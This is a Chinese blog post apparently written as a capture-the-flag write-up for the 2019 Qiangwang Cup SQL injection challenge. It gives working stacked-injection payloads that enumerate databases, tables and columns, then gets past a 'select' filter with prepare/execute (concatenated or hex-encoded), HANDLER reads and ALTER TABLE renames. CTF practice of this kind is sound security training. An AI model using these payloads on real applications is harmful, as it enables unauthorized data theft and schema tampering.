强网杯(2019)随便注

强网杯(2019)随便注

1.随便提交一个1,发现返回数据,猜测是sql注入:

image-20240516201351253

2.尝试使用select注入,发现过滤的黑名单:

image-20240516201458136

3.竟然没有过滤分号,那么我们可以使用堆叠注入,首先来找到所有的数据库名:

';show databases;

image-20240516201932659

4.继续读取当前数据库所有的表名:

';show tables;

image-20240516202110670

5.继续读取当前数据库"1919810931114514"表下的所有列名:

';show columns from `1919810931114514`;

注意:之前通过乱输导致报错,得到数据库类型是mariadb。mariadb数据库有个特性,就是列名的命名必须遵守一定的规则,只能包含字母、数字、下划线,且不能以数字开头,如果包含特殊字符,则需要使用反引号包裹。

image-20240516202411232

6.得到了列名下的flag字段,正常来说,就可以直接 select flag from `1919810931114514`了,但是这道题过滤了select,因此需要使用一些特殊的姿势:

姿势一:利用sql预处理

使用select语句的方式一:通过concat拼接

1';prepare st from concat('s','elect','* from `1919810931114514`);execute st;--+

image-20240516203734821

使用select语句的方式二:通过16进制绕过

image-20240516204205924

1';prepare st from 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;execute st--+

image-20240516204251878

姿势二:利用handler句柄

说明:在SQL中,HANDLER 是用于直接访问表的一种方式。HANDLER 语句用于打开表,并为后续操作提供对表的直接访问。

(1)handler table_name open as hd; 指定数据表进行载入并返回句柄

(2)handler hd read first; 读取指定表/句柄的首航数据

(3)handler hd read next; 读取指定表/句柄的下一行数据

(4)handler hd close; 关闭句柄

image-20240516204616995

姿势三:利用rename重命名

1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

image-20240516210628563

再使用万能密码即可成功查询:

image-20240516210747750

posted @ 2024-05-16 21:22  dtwin  阅读(161)  评论(0编辑  收藏  举报